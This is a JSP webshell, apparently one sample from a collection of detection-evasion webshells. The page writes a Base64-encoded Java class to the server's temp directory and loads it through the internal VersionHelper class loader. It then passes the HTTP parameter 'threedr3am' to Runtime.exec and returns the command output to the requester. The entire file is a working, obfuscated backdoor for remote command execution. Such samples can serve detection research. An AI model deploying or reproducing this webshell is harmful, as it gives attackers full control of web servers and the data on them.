<%@ page import="com.sun.naming.internal.VersionHelper" %>
<%@ page import="java.io.File" %>
<%@ page import="java.nio.file.Files" %>
<%@ page import="java.nio.file.Paths" %>
<%@ page import="java.util.Base64" %>
<html>
<body>
<h2>VersionHelper包装的URLClassLoader类加载器的JSP Webshell</h2>
<%
    String tmp = System.getProperty("java.io.tmpdir");
    String jarPath = tmp + File.separator + "Threedr3am_16.class";
    Files.write(Paths.get(jarPath), Base64.getDecoder().decode("yv66vgAAADQAigoAGwA/BwBACgACAD8HAEEHAEIKAEMARAoAQwBFCgBGAEcKAAUASAoABABJCgAEAEoKAAIASwgATAoAAgBNCQAaAE4HAE8KAFAAUQgAUgoAUwBUCgBVAFYKAFUAVwoAWABZCgBaAFsJAFwAXQoAXgBfBwBgBwBhAQADcmVzAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA9MVGhyZWVkcjNhbV8xNjsBAANjbWQBAA1zdHJpbmdCdWlsZGVyAQAZTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAEbGluZQEADVN0YWNrTWFwVGFibGUHAGAHAGIHAEAHAEEBAApFeGNlcHRpb25zBwBjAQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAtpbnB1dFN0cmVhbQEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEABWJ5dGVzAQACW0IBAARjb2RlAQAKU291cmNlRmlsZQEAElRocmVlZHIzYW1fMTYuamF2YQwAHgBkAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgcAZQwAZgBnDABoAGkHAGoMAGsAbAwAHgBtDAAeAG4MAG8AMwwAcABxAQABCgwAMgAzDAAcAB0BAAxUaHJlZWRyM2FtXzYHAHIMAHMAdAEAE1RocmVlZHIzYW1fMTYuY2xhc3MHAHUMAHYAdwcAeAwAeQB6DAB7AHwHAH0MAH4AgQcAggwAgwCEBwCFDACGAIcHAIgMAIkAHwEADVRocmVlZHIzYW1fMTYBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N0cmluZwEAE2phdmEvaW8vSU9FeGNlcHRpb24BAAMoKVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAPamF2YS9sYW5nL0NsYXNzAQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQATZ2V0UmVzb3VyY2VBc1N0cmVhbQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvaW8vSW5wdXRTdHJlYW07AQATamF2YS9pby9JbnB1dFN0cmVhbQEACWF2YWlsYWJsZQEAAygpSQEABHJlYWQBAAUoW0IpSQEAEGphdmEvdXRpbC9CYXNlNjQBAApnZXRFbmNvZGVyAQAHRW5jb2RlcgEADElubmVyQ2xhc3NlcwEAHCgpTGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcjsBABhqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXIBAA5lbmNvZGVUb1N0cmluZwEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4AIQAaABsAAAABAAAAHAAdAAAAAwABAB4AHwACACAAAADSAAYABQAAAEcqtwABuwACWbcAA027AARZuwAFWbgABiu2AAe2AAi3AAm3AApOLbYAC1k6BMYAEiwZBLYADBINtgAMV6f/6iostgAOtQAPsQAAAAMAIQAAAB4ABwAAAA4ABAAPAAwAEAAlABIALwATAD4AFQBGABYAIgAAADQABQAAAEcAIwAkAAAAAABHACUAHQABAAwAOwAmACcAAgAlACIAKAApAAMALAAbACoAHQAEACsAAAAbAAL/ACUABAcALAcALQcALgcALwAA/AAYBwAtADAAAAAEAAEAMQABADIAMwABACAAAAAvAAEAAQAAAAUqtAAPsAAAAAIAIQAAAAYAAQAAABoAIgAAAAwAAQAAAAUAIwAkAAAACQA0ADUAAgAgAAAAhAACAAQAAAAoEhC2ABESErYAE0wrtgAUvAhNKyy2ABVXuAAWLLYAF06yABgttgAZsQAAAAIAIQAAABoABgAAAB4ACwAfABIAIAAYACEAIAAiACcAIwAiAAAAKgAEAAAAKAA2ADcAAAALAB0AOAA5AAEAEgAWADoAOwACACAACAA8AB0AAwAwAAAABAABADEAAgA9AAAAAgA+AIAAAAAKAAEAWgBYAH8ACQ=="));
    response.getOutputStream().write(
            VersionHelper.getVersionHelper().loadClass("Threedr3am_16", "file:" + tmp + File.separator).getConstructor(String.class).newInstance(request.getParameter("threedr3am")).toString().getBytes());
%>
</body>
</html>